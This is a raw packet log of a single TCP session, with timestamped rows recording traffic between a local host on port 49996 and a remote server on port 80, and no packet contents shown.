Nov 1, 2024 12:34:32.383449078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383467913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383496046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383682966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383688927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383694887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383706093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383712053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383718014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383724928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383732080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383734941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383738041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383744955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383748055 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383750916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383758068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383764029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383775949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383780003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383783102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383789062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383795977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383807898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383821011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383826971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383826971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383860111 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383999109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384005070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384011030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384022951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384027958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384033918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384041071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384047031 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384056091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384062052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384069920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384073973 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384083033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384089947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384108067 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384125948 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384125948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384136915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384143114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384166002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384175062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384181976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384187937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384201050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384227991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384279966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384287119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384293079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384299040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384305000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384311914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384315968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384346008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384419918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384426117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384502888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384509087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384521008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384529114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384536028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384543896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384546041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384577036 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384608984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384614944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384622097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384634018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384656906 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384670019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384747982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384754896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384761095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384773016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384778976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384785891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384792089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384799004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384799004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384805918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384812117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384824991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384859085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384916067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384922028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384928942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384938955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384944916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384951115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384958029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384965897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.384969950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384979010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384984970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.384989977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385003090 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385004997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385013103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385019064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385027885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385030985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385037899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385044098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385051012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385059118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385062933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385085106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385106087 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385534048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385540009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385546923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385552883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385559082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385562897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385570049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385576963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385608912 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385637999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385644913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385652065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385663033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385668993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385674953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385689974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385704041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385809898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385817051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385822058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385833979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385849953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385855913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385859013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385864973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385883093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385896921 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.385963917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385970116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385976076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385982037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385987997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.385993004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386002064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386006117 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386008024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386014938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386020899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386028051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386032104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386034966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386042118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386046886 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386049032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386071920 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386096001 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386346102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386353016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386358976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386363983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386375904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386375904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386384964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386392117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386399031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386401892 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386405945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386413097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386419058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386419058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386425018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386430979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386435986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386436939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386444092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386451006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386456966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386466980 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386471987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386498928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386507988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386720896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386728048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386735916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386774063 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386790037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386796951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386802912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386816025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386838913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386910915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386917114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386924028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386934996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386941910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386949062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.386965990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.386993885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.388187885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388228893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388235092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388289928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.388407946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388412952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388418913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388430119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388436079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388442039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388448954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388456106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388459921 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.388462067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388469934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388477087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388483047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.388487101 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.388524055 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.401500940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.402364969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.406689882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.406701088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.406708002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.406739950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.406758070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.406790018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407433987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407439947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407445908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407458067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407464027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407469034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407475948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407481909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407488108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407494068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407497883 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407500982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407507896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407514095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407520056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407525063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407532930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407532930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407543898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407550097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407552004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407557011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407563925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407569885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407572031 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407576084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407583952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407591105 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407608986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407624006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407706022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407711983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407717943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407725096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407730103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407735109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407741070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407747030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407751083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407753944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407761097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407784939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407799959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407838106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407845020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407850027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407855988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407860994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407867908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407876968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407883883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407885075 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407888889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407898903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407905102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407911062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407912016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407917976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.407934904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.407954931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408072948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408080101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408086061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408097982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408103943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408108950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408114910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408126116 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408135891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408142090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408148050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408153057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408159018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408165932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408171892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408176899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408179998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408186913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408194065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408196926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408200979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408212900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408214092 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408236027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408296108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408302069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408309937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408315897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408323050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408334017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408334017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408340931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408366919 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408382893 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408696890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408704042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408710957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408755064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408766985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408773899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408780098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408814907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.408907890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408914089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408920050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408934116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408940077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408946037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408951998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.408957958 CET	80	49996	185.215.113.16	192.168.2.7
